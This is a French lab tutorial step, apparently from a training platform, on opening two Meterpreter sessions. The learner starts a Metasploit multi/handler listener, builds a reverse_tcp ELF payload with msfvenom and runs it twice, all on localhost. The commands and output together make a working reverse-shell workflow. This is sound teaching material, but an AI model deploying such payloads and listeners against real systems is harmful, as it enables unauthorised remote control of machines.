Obtenir plusieurs sessions Meterpreter ou shell
Dans cette étape, vous allez configurer un écouteur (listener) dans Metasploit, puis exécuter un payload pour créer deux sessions Meterpreter distinctes. Cela simule l'obtention d'un accès à deux systèmes différents.
Tout d'abord, ouvrez un terminal et démarrez la console Metasploit Framework. L'option -q permet un démarrage silencieux, sans afficher la bannière.
msfconsole -q
Ensuite, nous allons configurer un écouteur générique, appelé multi/handler, pour attendre les connexions entrantes.
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan (background job) en utilisant l'option -j. Cela maintient l'invite msfconsole disponible pour d'autres commandes pendant que l'écouteur s'exécute en arrière-plan.
run -j
Vous devriez voir une confirmation que l'écouteur a démarré.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Maintenant, vous devez générer et exécuter le payload qui se connectera à cet écouteur. Ouvrez un nouvel onglet de terminal en cliquant sur l'icône + dans la fenêtre du terminal.
Dans ce nouveau terminal, utilisez msfvenom pour créer un payload. Cette commande génère un fichier exécutable ELF qui, une fois exécuté, se connectera à notre écouteur.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
Rendez le fichier payload généré exécutable :
chmod +x ~/project/payload.elf
Exécutez maintenant le payload deux fois pour créer deux sessions. Nous les exécutons en tant que processus d'arrière-plan (&) afin que vous puissiez relancer la commande immédiatement.
./payload.elf &
./payload.elf &
Revenez à votre première fenêtre de terminal avec msfconsole. Vous verrez des messages indiquant que deux sessions Meterpreter ont été ouvertes.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400
Vous avez maintenant établi avec succès deux sessions actives.